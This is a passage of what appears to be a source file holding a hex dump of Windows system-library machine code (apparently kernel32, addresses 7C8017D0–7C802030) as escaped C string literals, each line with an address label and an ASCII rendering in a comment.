\"\\x66\\x89\\x48\\x08\\x66\\x8B\\x4D\\xF0\\x66\\x89\\x48\\x0A\\x66\\x8B\\x4D\\xF2\" // fH\bfMðfH.fMò\n/* 7C8017D0 */ \"\\x66\\x89\\x48\\x0C\\x66\\x8B\\x4D\\xF4\\x66\\x89\\x48\\x0E\\xC9\\xC2\\x04\\x00\" // fH.fMôfH\u000eÉÂ\u0004.\n/* 7C8017E0 */ \"\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\xA1\\x18\\x00\\xFE\\x7F\\x8B\" // ÿUì¡\u0018.þ\n/* 7C8017F0 */ \"\\x15\\x14\\x00\\xFE\\x7F\\x3B\\x05\\x1C\\x00\\xFE\\x7F\\x75\\xED\\x8B\\x4D\\x08\" // \u0015\u0014.þ;\u0005\u001c.þuíM\b\n/* 7C801800 */ \"\\x89\\x11\\x89\\x41\\x04\\x5D\\xC2\\x04\\x00\\x90\\x90\\x90\\x90\\x90\\x6A\\x20\" // \u0011A\u0004]Â\u0004.j\n/* 7C801810 */ \"\\x68\\xA8\\x9B\\x80\\x7C\\xE8\\xAC\\x0C\\x00\\x00\\x33\\xDB\\x8B\\x4D\\x14\\x3B\" // h¨|è¬...3ÛM\u0014;\n/* 7C801820 */ \"\\xCB\\x74\\x02\\x89\\x19\\x64\\xA1\\x18\\x00\\x00\\x00\\x8B\\x40\\x30\\x8B\\x7D\" // Ët\u0002\u0019d¡\u0018...@0}\n/* 7C801830 */ \"\\x08\\x83\\xFF\\xF4\\x0F\\x84\\xA8\\x01\\x00\\x00\\x83\\xFF\\xF5\\x0F\\x84\\x94\" // \bÿô\u000f¨\u0001..ÿõ\u000f\n/* 7C801840 */ \"\\x01\\x00\\x00\\x83\\xFF\\xF6\\x74\\x53\\x8B\\xC7\\x25\\x03\\x00\\x00\\x10\\x83\" // \u0001..ÿötSÇ%\u0003..\u0010\n/* 7C801850 */ \"\\xF8\\x03\\x74\\x4F\\x8B\\x75\\x18\\x3B\\xF3\\x0F\\x85\\xFF\\x00\\x00\\x00\\x53\" // ø\u0003tOu\u0018;ó\u000fÿ...S\n/* 7C801860 */ \"\\x53\\xFF\\x75\\x10\\xFF\\x75\\x0C\\x8D\\x45\\xD8\\x50\\x53\\x53\\x53\\x57\\xFF\" // Sÿu\u0010ÿu.EØPSSSWÿ\n/* 7C801870 */ \"\\x15\\x8C\\x11\\x80\\x7C\\x3D\\x03\\x01\\x00\\x00\\x0F\\x84\\xB8\\x00\\x00\\x00\" // \u0015\u0011|=\u0003\u0001..\u000f¸...\n/* 7C801880 */ \"\\x3B\\xC3\\x0F\\x8C\\x65\\x01\\x00\\x00\\x8B\\x45\\xDC\\x8B\\x4D\\x14\\x89\\x01\" // ;Ã\u000fe\u0001..EÜM\u0014\u0001\n/* 7C801890 */ \"\\x33\\xC0\\x40\\xE8\\x69\\x0C\\x00\\x00\\xC2\\x14\\x00\\x8B\\x40\\x10\\x8B\\x78\" // 3À@èi...Â\u0014.@\u0010x\n/* 7C8018A0 */ \"\\x18\\xEB\\xA5\\xFF\\x75\\x18\\x51\\xFF\\x75\\x10\\xFF\\x75\\x0C\\x57\\xE8\\x6A\" // \u0018ë¥ÿu\u0018Qÿu\u0010ÿu.Wèj\n/* 7C8018B0 */ \"\\x01\\x07\\x00\\x85\\xC0\\x0F\\x84\\x5D\\x01\\x00\\x00\\x33\\xF6\\x8D\\x45\\xE4\" // \u0001\u0007.À\u000f]\u0001..3öEä\n/* 7C8018C0 */ \"\\x50\\x57\\xE8\\x4D\\x96\\x01\\x00\\x85\\xC0\\x75\\x03\\x89\\x5D\\xE4\\xF6\\x45\" // PWèM\u0001.Àu\u0003]äöE\n/* 7C8018D0 */ \"\\xE4\\x01\\x74\\x3A\\x89\\x5D\\xFC\\x8B\\x45\\x0C\\x80\\x38\\x1A\\x75\\x05\\x8B\" // ä\u0001t:]üE.8\u001au\u0005\n/* 7C8018E0 */ \"\\x45\\x14\\x89\\x18\\x83\\x4D\\xFC\\xFF\\xEB\\x24\\x90\\x90\\x90\\x90\\x90\\x8B\" // E\u0014\u0018Müÿë$\n/* 7C8018F0 */ \"\\x45\\xEC\\x8B\\x00\\x8B\\x00\\x89\\x45\\xE0\\x33\\xC0\\x40\\xC3\\x90\\x90\\x90\" // Eì..Eà3À@Ã\n/* 7C801900 */ \"\\x90\\x90\\x8B\\x65\\xE8\\x8B\\x75\\xE0\\x83\\x4D\\xFC\\xFF\\x33\\xDB\\x3B\\xF3\" // eèuàMüÿ3Û;ó\n/* 7C801910 */ \"\\x0F\\x8D\\x7A\\xFF\\xFF\\xFF\\x56\\xE9\\xF7\\x00\\x00\\x00\\x90\\x90\\x90\\x90\" // \u000fzÿÿÿVé÷...\n/* 7C801920 */ \"\\x90\\x33\\xC0\\x40\\xC3\\x90\\x90\\x90\\x90\\x90\\x8B\\x65\\xE8\\x8B\\x45\\x14\" // 3À@ÃeèE\u0014\n/* 7C801930 */ \"\\x83\\x20\\x00\\xE9\\x96\\x00\\x00\\x00\\x53\\x53\\x57\\xFF\\x15\\x28\\x12\\x80\" //  .é...SSWÿ\u0015(\u0012\n/* 7C801940 */ \"\\x7C\\x3B\\xC3\\x0F\\x8C\\xA4\\x00\\x00\\x00\\x8B\\x45\\xD8\\xE9\\x2F\\xFF\\xFF\" // |;Ã\u000f¤...EØé/ÿÿ\n/* 7C801950 */ \"\\xFF\\x8B\\x4D\\xDC\\x8B\\x55\\x14\\x89\\x0A\\xE9\\xB4\\x00\\x00\\x00\\xBB\\x03\" // ÿMÜU\u0014.é´...»\u0003\n/* 7C801960 */ \"\\x01\\x00\\x00\\x89\\x1E\\x8B\\x46\\x08\\x89\\x45\\xD0\\x8B\\x46\\x0C\\x89\\x45\" // \u0001..\u001eF\bEÐF.E\n/* 7C801970 */ \"\\xD4\\x8B\\x46\\x10\\x6A\\x00\\x8D\\x4D\\xD0\\x51\\xFF\\x75\\x10\\xFF\\x75\\x0C\" // ÔF\u0010j.MÐQÿu\u0010ÿu.\n/* 7C801980 */ \"\\x56\\x8B\\xC8\\x80\\xE1\\x01\\xF6\\xD9\\x1B\\xC9\\xF7\\xD1\\x23\\xCE\\x51\\x6A\" // VÈá\u0001öÙ\u001bÉ÷Ñ#ÎQj\n/* 7C801990 */ \"\\x00\\x50\\x57\\xFF\\x15\\x8C\\x11\\x80\\x7C\\x85\\xC0\\x7C\\x04\\x3B\\xC3\\x75\" // .PWÿ\u0015\u0011|À|\u0004;Ãu\n/* 7C8019A0 */ \"\\x16\\xB9\\x11\\x00\\x00\\xC0\\x3B\\xC1\\x75\\x68\\x8B\\x45\\x14\\x85\\xC0\\x74\" // \u0016¹\u0011..À;ÁuhE\u0014Àt\n/* 7C8019B0 */ \"\\x03\\x83\\x20\\x00\\x51\\xEB\\x5C\\x8B\\x45\\x14\\x85\\xC0\\x0F\\x84\\xCE\\xFE\" // \u0003 .Që\\E\u0014À\u000fÎþ\n/* 7C8019C0 */ \"\\xFF\\xFF\\xC7\\x45\\xFC\\x01\\x00\\x00\\x00\\x8B\\x4E\\x04\\x89\\x08\\x83\\x4D\" // ÿÿÇEü\u0001...N\u0004\bM\n/* 7C8019D0 */ \"\\xFC\\xFF\\xE9\\xB9\\xFE\\xFF\\xFF\\x8B\\x40\\x10\\x8B\\x78\\x1C\\xE9\\x66\\xFE\" // üÿé¹þÿÿ@\u0010x\u001céfþ\n/* 7C8019E0 */ \"\\xFF\\xFF\\x8B\\x40\\x10\\x8B\\x78\\x20\\xE9\\x5B\\xFE\\xFF\\xFF\\x3D\\x11\\x00\" // ÿÿ@\u0010x é[þÿÿ=\u0011.\n/* 7C8019F0 */ \"\\x00\\xC0\\x75\\x0A\\x8B\\x45\\x14\\x89\\x18\\xE9\\x92\\xFE\\xFF\\xFF\\x8B\\xC8\" // .Àu.E\u0014\u0018éþÿÿÈ\n/* 7C801A00 */ \"\\x81\\xE1\\x00\\x00\\x00\\xC0\\x81\\xF9\\x00\\x00\\x00\\x80\\x0F\\x84\\x3F\\xFF\" // á...Àù...\u000f?ÿ\n/* 7C801A10 */ \"\\xFF\\xFF\\x50\\xE8\\x53\\x79\\x00\\x00\\x33\\xC0\\xE9\\x74\\xFE\\xFF\\xFF\\x90\" // ÿÿPèSy..3Àétþÿÿ\n/* 7C801A20 */ \"\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\xFF\\x75\\x08\\xE8\\x43\\xC6\\x00\" // ÿUìÿu\bèCÆ.\n/* 7C801A30 */ \"\\x00\\x85\\xC0\\x74\\x1E\\xFF\\x75\\x20\\xFF\\x75\\x1C\\xFF\\x75\\x18\\xFF\\x75\" // .Àt\u001eÿu ÿu\u001cÿu\u0018ÿu\n/* 7C801A40 */ \"\\x14\\xFF\\x75\\x10\\xFF\\x75\\x0C\\xFF\\x70\\x04\\xE8\\x11\\xED\\x00\\x00\\x5D\" // \u0014ÿu\u0010ÿu.ÿp\u0004è\u0011í..]\n/* 7C801A50 */ \"\\xC2\\x1C\\x00\\x83\\xC8\\xFF\\xEB\\xF7\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\" // Â\u001c.Èÿë÷ÿU\n/* 7C801A60 */ \"\\x8B\\xEC\\x56\\x8B\\x35\\xB8\\x12\\x80\\x7C\\x57\\xFF\\x75\\x18\\x8D\\x45\\x10\" // ìV5¸\u0012|Wÿu\u0018E\u0010\n/* 7C801A70 */ \"\\xFF\\x75\\x14\\x50\\x8D\\x45\\x0C\\x50\\xFF\\x75\\x08\\xFF\\xD6\\x8B\\xF8\\x85\" // ÿu\u0014PE.Pÿu\bÿÖø\n/* 7C801A80 */ \"\\xFF\\x7C\\x09\\x33\\xC0\\x40\\x5F\\x5E\\x5D\\xC2\\x14\\x00\\x81\\xFF\\x45\\x00\" // ÿ|.3À@_^]Â\u0014.ÿE.\n/* 7C801A90 */ \"\\x00\\xC0\\x75\\x2D\\x83\\x7D\\x08\\xFF\\x75\\x27\\xFF\\x75\\x10\\xFF\\x75\\x0C\" // .Àu-}\bÿu'ÿu\u0010ÿu.\n/* 7C801AA0 */ \"\\xE8\\x3D\\xDE\\x07\\x00\\x84\\xC0\\x74\\x18\\xFF\\x75\\x18\\x8D\\x45\\x10\\xFF\" // è=Þ\u0007.Àt\u0018ÿu\u0018E\u0010ÿ\n/* 7C801AB0 */ \"\\x75\\x14\\x50\\x8D\\x45\\x0C\\x50\\x6A\\xFF\\xFF\\xD6\\x8B\\xF8\\x85\\xFF\\x7D\" // u\u0014PE.PjÿÿÖøÿ}\n/* 7C801AC0 */ \"\\xC2\\x57\\xE8\\xA4\\x78\\x00\\x00\\x33\\xC0\\xEB\\xBB\\x90\\x90\\x90\\x90\\x90\" // ÂWè¤x..3Àë»\n/* 7C801AD0 */ \"\\x8B\\xFF\\x55\\x8B\\xEC\\xFF\\x75\\x14\\xFF\\x75\\x10\\xFF\\x75\\x0C\\xFF\\x75\" // ÿUìÿu\u0014ÿu\u0010ÿu.ÿu\n/* 7C801AE0 */ \"\\x08\\x6A\\xFF\\xE8\\x75\\xFF\\xFF\\xFF\\x5D\\xC2\\x10\\x00\\x90\\x90\\x90\\x90\" // \bjÿèuÿÿÿ]Â\u0010.\n/* 7C801AF0 */ \"\\x90\\x6A\\x34\\x68\\x58\\xE0\\x80\\x7C\\xE8\\xC9\\x09\\x00\\x00\\x33\\xFF\\x89\" // j4hXà|èÉ...3ÿ\n/* 7C801B00 */ \"\\x7D\\xD8\\x89\\x7D\\xD4\\x89\\x7D\\xE0\\x89\\x7D\\xE4\\x8B\\x5D\\x10\\xF6\\xC3\" // }Ø}Ô}à}ä]\u0010öÃ\n/* 7C801B10 */ \"\\x01\\x0F\\x85\\xE2\\x00\\x00\\x00\\xF6\\xC3\\x10\\x0F\\x85\\xE5\\x00\\x00\\x00\" // \u0001\u000fâ...öÃ\u0010\u000få...\n/* 7C801B20 */ \"\\xFF\\x75\\x08\\x8D\\x45\\xC4\\x50\\xFF\\x15\\x40\\x10\\x80\\x7C\\xA1\\x4C\\x33\" // ÿu\bEÄPÿ\u0015@\u0010|¡L3\n/* 7C801B30 */ \"\\x88\\x7C\\x3B\\xC7\\x0F\\x84\\x91\\x01\\x00\\x00\\x89\\x5D\\xDC\\x83\\x65\\xDC\" // |;Ç\u000f\u0001..]ÜeÜ\n/* 7C801B40 */ \"\\x02\\x75\\x14\\x3B\\xC7\\x74\\x10\\x83\\xC0\\x24\\x66\\x8B\\x4D\\xC4\\x66\\x3B\" // \u0002u\u0014;Çt\u0010À$fMÄf;\n/* 7C801B50 */ \"\\x08\\x0F\\x84\\x95\\x01\\x00\\x00\\x66\\x39\\x7D\\xC4\\x74\\x15\\x0F\\xB7\\x45\" // \b\u000f\u0001..f9}Ät\u0015\u000f·E\n/* 7C801B60 */ \"\\xC4\\x48\\xD1\\xF8\\x8B\\x4D\\xC8\\x66\\x83\\x3C\\x41\\x20\\x0F\\x84\\x9C\\x00\" // ÄHÑøMÈf<A \u000f.\n/* 7C801B70 */ \"\\x00\\x00\\x57\\x80\\xE3\\x08\\xF6\\xDB\\x1B\\xDB\\x23\\x5D\\xC8\\x53\\xE8\\x1B\" // ..Wã\böÛ\u001bÛ#]ÈSè\u001b\n/* 7C801B80 */ \"\\xC4\\x00\\x00\\x89\\x45\\xD4\\x3B\\xC7\\x0F\\x84\\xEF\\x00\\x00\\x00\\x50\\x8D\" // Ä..EÔ;Ç\u000fï...P\n/* 7C801B90 */ \"\\x45\\xBC\\x50\\xFF\\x15\\x40\\x10\\x80\\x7C\\x89\\x7D\\xFC\\x39\\x7D\\xDC\\x0F\" // E¼Pÿ\u0015@\u0010|}ü9}Ü\u000f\n/* 7C801BA0 */ \"\\x85\\x69\\x01\\x00\\x00\\x8D\\x45\\xE0\\x50\\x8D\\x45\\xC4\\x50\\x8D\\x45\\xE4\" // i\u0001..EàPEÄPEä\n/* 7C801BB0 */ \"\\x50\\xFF\\x75\\xC0\\xE8\\xB0\\xC4\\x00\\x00\\x8B\\xF0\\x89\\x75\\xD0\\x83\\x4D\" // PÿuÀè°Ä..ðuÐM\n/* 7C801BC0 */ \"\\xFC\\xFF\\x39\\x7D\\xD8\\x0F\\x85\\xE5\\x00\\x00\\x00\\x39\\x7D\\xD4\\x74\\x16\" // üÿ9}Ø\u000få...9}Ôt\u0016\n/* 7C801BD0 */ \"\\x64\\xA1\\x18\\x00\\x00\\x00\\xFF\\x75\\xD4\\x57\\x8B\\x40\\x30\\xFF\\x70\\x18\" // d¡\u0018...ÿuÔW@0ÿp\u0018\n/* 7C801BE0 */ \"\\xFF\\x15\\x10\\x10\\x80\\x7C\\x3B\\xF7\\x0F\\x8C\\x51\\x01\\x00\\x00\\x8B\\x45\" // ÿ\u0015\u0010\u0010|;÷\u000fQ\u0001..E\n/* 7C801BF0 */ \"\\xE0\\xE8\\x0B\\x09\\x00\\x00\\xC2\\x0C\\x00\\xC7\\x45\\xE4\\x02\\x00\\x00\\x00\" // àè\u000b...Â..ÇEä\u0002...\n/* 7C801C00 */ \"\\xE9\\x12\\xFF\\xFF\\xFF\\x80\\x4D\\xE5\\x10\\xE9\\x12\\xFF\\xFF\\xFF\\x64\\xA1\" // é\u0012ÿÿÿMå\u0010é\u0012ÿÿÿd¡\n/* 7C801C10 */ \"\\x18\\x00\\x00\\x00\\x0F\\xB7\\x4D\\xC6\\x51\\xFF\\x35\\xD4\\x36\\x88\\x7C\\x8B\" // \u0018...\u000f·MÆQÿ5Ô6|\n/* 7C801C20 */ \"\\x40\\x30\\xFF\\x70\\x18\\xFF\\x15\\x0C\\x10\\x80\\x7C\\x89\\x45\\xD8\\x3B\\xC7\" // @0ÿp\u0018ÿ\u0015.\u0010|EØ;Ç\n/* 7C801C30 */ \"\\x74\\x4B\\x0F\\xB7\\x4D\\xC6\\x8B\\x75\\xC8\\x8B\\xF8\\x8B\\xD1\\xC1\\xE9\\x02\" // tK\u000f·MÆuÈøÑÁé\u0002\n/* 7C801C40 */ \"\\xF3\\xA5\\x8B\\xCA\\x83\\xE1\\x03\\xF3\\xA4\\x89\\x45\\xC8\\x66\\x83\\x7D\\xC4\" // ó¥Êá\u0003ó¤EÈf}Ä\n/* 7C801C50 */ \"\\x00\\x74\\x23\\x0F\\xB7\\x45\\xC4\\x48\\xD1\\xF8\\x8B\\x4D\\xC8\\x8D\\x04\\x41\" // .t#\u000f·EÄHÑøMÈ\u0004A\n/* 7C801C60 */ \"\\x66\\x83\\x38\\x20\\x75\\x10\\x66\\x83\\x20\\x00\\x66\\x83\\x45\\xC4\\xFE\\x66\" // f8 u\u0010f .fEÄþf\n/* 7C801C70 */ \"\\x83\\x45\\xC6\\xFE\\xEB\\xD6\\x33\\xFF\\xE9\\xF5\\xFE\\xFF\\xFF\\xBE\\x17\\x00\" // EÆþëÖ3ÿéõþÿÿ¾\u0017.\n/* 7C801C80 */ \"\\x00\\xC0\\xE9\\x3B\\xFF\\xFF\\xFF\\x90\\x90\\x90\\x90\\x90\\x8B\\x45\\xEC\\x8B\" // .Àé;ÿÿÿEì\n/* 7C801C90 */ \"\\x00\\x8B\\x00\\x89\\x45\\xCC\\x33\\xC0\\x40\\xC3\\x90\\x90\\x90\\x90\\x90\\x8B\" // ..EÌ3À@Ã\n/* 7C801CA0 */ \"\\x65\\xE8\\x8B\\x75\\xCC\\x83\\x4D\\xFC\\xFF\\x33\\xFF\\xE9\\x12\\xFF\\xFF\\xFF\" // eèuÌMüÿ3ÿé\u0012ÿÿÿ\n/* 7C801CB0 */ \"\\x64\\xA1\\x18\\x00\\x00\\x00\\xFF\\x75\\xD8\\x57\\x8B\\x40\\x30\\xFF\\x70\\x18\" // d¡\u0018...ÿuØW@0ÿp\u0018\n/* 7C801CC0 */ \"\\xFF\\x15\\x10\\x10\\x80\\x7C\\xE9\\x00\\xFF\\xFF\\xFF\\x64\\xA1\\x18\\x00\\x00\" // ÿ\u0015\u0010\u0010|é.ÿÿÿd¡\u0018..\n/* 7C801CD0 */ \"\\x00\\x8B\\x40\\x30\\xFF\\x70\\x08\\x68\\xDB\\x76\\x81\\x7C\\x57\\xE8\\x97\\x5A\" // .@0ÿp\bhÛv|WèZ\n/* 7C801CE0 */ \"\\x01\\x00\\xA1\\x4C\\x33\\x88\\x7C\\xE9\\x4E\\xFE\\xFF\\xFF\\x6A\\x01\\x50\\x8D\" // \u0001.¡L3|éNþÿÿj\u0001P\n/* 7C801CF0 */ \"\\x45\\xC4\\x50\\xFF\\x15\\xB8\\x10\\x80\\x7C\\x84\\xC0\\x0F\\x84\\x56\\xFE\\xFF\" // EÄPÿ\u0015¸\u0010|À\u000fVþÿ\n/* 7C801D00 */ \"\\xFF\\xA1\\x4C\\x33\\x88\\x7C\\x8B\\x40\\x18\\xE9\\xE3\\xFE\\xFF\\xFF\\x8D\\x45\" // ÿ¡L3|@\u0018éãþÿÿE\n/* 7C801D10 */ \"\\xE0\\x50\\x8D\\x45\\xC4\\x50\\x57\\xFF\\x75\\xC0\\xE8\\x4D\\xC7\\x00\\x00\\x89\" // àPEÄPWÿuÀèMÇ..\n/* 7C801D20 */ \"\\x45\\xD0\\x3B\\xC7\\x0F\\x8D\\x7B\\xFE\\xFF\\xFF\\x8D\\x45\\xE0\\x50\\x8D\\x45\" // EÐ;Ç\u000f{þÿÿEàPE\n/* 7C801D30 */ \"\\xC4\\x50\\xFF\\x75\\xC0\\xE8\\x02\\x2F\\x01\\x00\\xE9\\x7A\\xFE\\xFF\\xFF\\x56\" // ÄPÿuÀè\u0002/\u0001.ézþÿÿV\n/* 7C801D40 */ \"\\xE8\\x26\\x76\\x00\\x00\\xE9\\xA4\\xFE\\xFF\\xFF\\x90\\x90\\x90\\x90\\x90\\x8B\" // è&v..é¤þÿÿ\n/* 7C801D50 */ \"\\xFF\\x55\\x8B\\xEC\\xFF\\x75\\x08\\xE8\\x18\\xC3\\x00\\x00\\x85\\xC0\\x74\\x0E\" // ÿUìÿu\bè\u0018Ã..Àt\u000e\n/* 7C801D60 */ \"\\xFF\\x75\\x10\\xFF\\x75\\x0C\\xFF\\x70\\x04\\xE8\\x83\\xFD\\xFF\\xFF\\x5D\\xC2\" // ÿu\u0010ÿu.ÿp\u0004èýÿÿ]Â\n/* 7C801D70 */ \"\\x0C\\x00\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x83\\x7D\\x08\\x00\" // ..ÿUì}\b.\n/* 7C801D80 */ \"\\x53\\x56\\x74\\x14\\x68\\xC0\\xE0\\x80\\x7C\\xFF\\x75\\x08\\xFF\\x15\\x9C\\x13\" // SVt\u0014hÀà|ÿu\bÿ\u0015\u0013\n/* 7C801D90 */ \"\\x80\\x7C\\x85\\xC0\\x59\\x59\\x74\\x12\\x6A\\x00\\x6A\\x00\\xFF\\x75\\x08\\xE8\" // |ÀYYt\u0012j.j.ÿu\bè\n/* 7C801DA0 */ \"\\xAB\\xFF\\xFF\\xFF\\x5E\\x5B\\x5D\\xC2\\x04\\x00\\x64\\xA1\\x18\\x00\\x00\\x00\" // «ÿÿÿ^[]Â\u0004.d¡\u0018...\n/* 7C801DB0 */ \"\\x8B\\x40\\x30\\xBE\\x04\\x01\\x00\\x00\\x56\\xFF\\x35\\xD4\\x36\\x88\\x7C\\xFF\" // @0¾\u0004\u0001..Vÿ5Ô6|ÿ\n/* 7C801DC0 */ \"\\x70\\x18\\xFF\\x15\\x0C\\x10\\x80\\x7C\\x8B\\xD8\\x85\\xDB\\x74\\xCA\\x57\\x56\" // p\u0018ÿ\u0015.\u0010|ØÛtÊWV\n/* 7C801DD0 */ \"\\x53\\xE8\\x8D\\xF5\\x01\\x00\\x8B\\xFB\\x4F\\x8A\\x47\\x01\\x47\\x84\\xC0\\x75\" // Sèõ\u0001.ûOG\u0001GÀu\n/* 7C801DE0 */ \"\\xF8\\xBE\\xAC\\xE6\\x84\\x7C\\xA5\\xA5\\xA5\\x53\\x66\\xA5\\xE8\\x86\\xFF\\xFF\" // ø¾¬æ|¥¥¥Sf¥èÿÿ\n/* 7C801DF0 */ \"\\xFF\\x8B\\xF0\\x64\\xA1\\x18\\x00\\x00\\x00\\x8B\\x40\\x30\\x53\\x6A\\x00\\xFF\" // ÿðd¡\u0018...@0Sj.ÿ\n/* 7C801E00 */ \"\\x70\\x18\\xFF\\x15\\x10\\x10\\x80\\x7C\\x85\\xF6\\x5F\\x74\\x8B\\x8B\\xC6\\xEB\" // p\u0018ÿ\u0015\u0010\u0010|ö_tÆë\n/* 7C801E10 */ \"\\x93\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\x83\\x7D\\x08\\x00\\x75\" // ÿUì}\b.u\n/* 7C801E20 */ \"\\x09\\x6A\\x06\\xE8\\x88\\x74\\x00\\x00\\xEB\\x1B\\xFF\\x75\\x0C\\xFF\\x75\\x08\" // .j\u0006èt..ë\u001bÿu.ÿu\b\n/* 7C801E30 */ \"\\xFF\\x15\\xFC\\x13\\x80\\x7C\\x85\\xC0\\x7C\\x05\\x33\\xC0\\x40\\xEB\\x08\\x50\" // ÿ\u0015ü\u0013|À|\u00053À@ë\bP\n/* 7C801E40 */ \"\\xE8\\x26\\x75\\x00\\x00\\x33\\xC0\\x5D\\xC2\\x08\\x00\\x90\\x90\\x90\\x90\\x90\" // è&u..3À]Â\b.\n/* 7C801E50 */ \"\\x8B\\xFF\\x55\\x8B\\xEC\\x64\\xA1\\x18\\x00\\x00\\x00\\x8B\\x40\\x30\\x8B\\x48\" // ÿUìd¡\u0018...@0H\n/* 7C801E60 */ \"\\x10\\x8B\\x45\\x08\\xC7\\x00\\x44\\x00\\x00\\x00\\x8B\\x91\\x84\\x00\\x00\\x00\" // \u0010E\bÇ.D......\n/* 7C801E70 */ \"\\x89\\x50\\x04\\x8B\\x51\\x7C\\x89\\x50\\x08\\x8B\\x51\\x74\\x89\\x50\\x0C\\x8B\" // P\u0004Q|P\bQtP.\n/* 7C801E80 */ \"\\x51\\x4C\\x89\\x50\\x10\\x8B\\x51\\x50\\x89\\x50\\x14\\x8B\\x51\\x54\\x89\\x50\" // QLP\u0010QPP\u0014QTP\n/* 7C801E90 */ \"\\x18\\x8B\\x51\\x58\\x89\\x50\\x1C\\x8B\\x51\\x5C\\x89\\x50\\x20\\x8B\\x51\\x60\" // \u0018QXP\u001cQ\\P Q`\n/* 7C801EA0 */ \"\\x89\\x50\\x24\\x8B\\x51\\x64\\x89\\x50\\x28\\x8B\\x51\\x68\\x89\\x50\\x2C\\xF6\" // P$QdP(QhP,ö\n/* 7C801EB0 */ \"\\x40\\x2D\\x07\\x66\\x8B\\x51\\x6C\\x66\\x89\\x50\\x30\\x66\\x8B\\x91\\x88\\x00\" // @-\u0007fQlfP0f.\n/* 7C801EC0 */ \"\\x00\\x00\\x66\\x89\\x50\\x32\\x8B\\x91\\x8C\\x00\\x00\\x00\\x89\\x50\\x34\\x75\" // ..fP2...P4u\n/* 7C801ED0 */ \"\\x04\\x5D\\xC2\\x04\\x00\\x8B\\x51\\x18\\x89\\x50\\x38\\x8B\\x51\\x1C\\x89\\x50\" // \u0004]Â\u0004.Q\u0018P8Q\u001cP\n/* 7C801EE0 */ \"\\x3C\\x8B\\x49\\x20\\x89\\x48\\x40\\xEB\\xE8\\x90\\x90\\x90\\x90\\x90\\x6A\\x18\" // <I H@ëèj\u0018\n/* 7C801EF0 */ \"\\x68\\x28\\x2F\\x81\\x7C\\xE8\\xCC\\x05\\x00\\x00\\x64\\xA1\\x18\\x00\\x00\\x00\" // h(/|èÌ\u0005..d¡\u0018...\n/* 7C801F00 */ \"\\x8B\\x40\\x30\\x8B\\x70\\x10\\xFF\\x15\\xBC\\x10\\x80\\x7C\\x33\\xDB\\x89\\x5D\" // @0p\u0010ÿ\u0015¼\u0010|3Û]\n/* 7C801F10 */ \"\\xFC\\x39\\x1D\\xDC\\x33\\x88\\x7C\\x0F\\x84\\xF7\\x00\\x00\\x00\\x83\\x4D\\xFC\" // ü9\u001dÜ3|\u000f÷...Mü\n/* 7C801F20 */ \"\\xFF\\xE8\\x89\\x02\\x00\\x00\\xA1\\xDC\\x33\\x88\\x7C\\x8B\\x08\\x8B\\x45\\x08\" // ÿè\u0002..¡Ü3|\bE\b\n/* 7C801F30 */ \"\\x89\\x08\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x04\\x89\\x48\\x04\\x8B\\x0D\" // \b.Ü3|I\u0004H\u0004.\n/* 7C801F40 */ \"\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x08\\x89\\x48\\x08\\x8B\\x0D\\xDC\\x33\\x88\\x7C\" // Ü3|I\bH\b.Ü3|\n/* 7C801F50 */ \"\\x8B\\x49\\x0C\\x89\\x48\\x0C\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x10\\x89\" // I.H..Ü3|I\u0010\n/* 7C801F60 */ \"\\x48\\x10\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x14\\x89\\x48\\x14\\x8B\\x0D\" // H\u0010.Ü3|I\u0014H\u0014.\n/* 7C801F70 */ \"\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x18\\x89\\x48\\x18\\x8B\\x0D\\xDC\\x33\\x88\\x7C\" // Ü3|I\u0018H\u0018.Ü3|\n/* 7C801F80 */ \"\\x8B\\x49\\x1C\\x89\\x48\\x1C\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x20\\x89\" // I\u001cH\u001c.Ü3|I \n/* 7C801F90 */ \"\\x48\\x20\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x24\\x89\\x48\\x24\\x8B\\x0D\" // H .Ü3|I$H$.\n/* 7C801FA0 */ \"\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x28\\x89\\x48\\x28\\x8B\\x0D\\xDC\\x33\\x88\\x7C\" // Ü3|I(H(.Ü3|\n/* 7C801FB0 */ \"\\x8B\\x49\\x2C\\x89\\x48\\x2C\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x66\\x8B\\x49\\x30\" // I,H,.Ü3|fI0\n/* 7C801FC0 */ \"\\x66\\x89\\x48\\x30\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x66\\x8B\\x49\\x32\\x66\\x89\" // fH0.Ü3|fI2f\n/* 7C801FD0 */ \"\\x48\\x32\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x34\\x89\\x48\\x34\\xF6\\x40\" // H2.Ü3|I4H4ö@\n/* 7C801FE0 */ \"\\x2D\\x07\\x0F\\x84\\xCE\\x01\\x00\\x00\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\" // -\u0007\u000fÎ\u0001...Ü3|I\n/* 7C801FF0 */ \"\\x38\\x89\\x48\\x38\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x3C\\x89\\x48\\x3C\" // 8H8.Ü3|I<H<\n/* 7C802000 */ \"\\x8B\\x0D\\xDC\\x33\\x88\\x7C\\x8B\\x49\\x40\\x89\\x48\\x40\\xE8\\xF0\\x04\\x00\" // .Ü3|I@H@èð\u0004.\n/* 7C802010 */ \"\\x00\\xC2\\x04\\x00\\x64\\xA1\\x18\\x00\\x00\\x00\\x89\\x45\\xE0\\x6A\\x44\\x5F\" // .Â\u0004.d¡\u0018...EàjD_\n/* 7C802020 */ \"\\x57\\xFF\\x35\\xD4\\x36\\x88\\x7C\\x8B\\x40\\x30\\xFF\\x70\\x18\\xFF\\x15\\x0C\" // Wÿ5Ô6|@0ÿp\u0018ÿ\u0015.\n/* 7C802030 */ 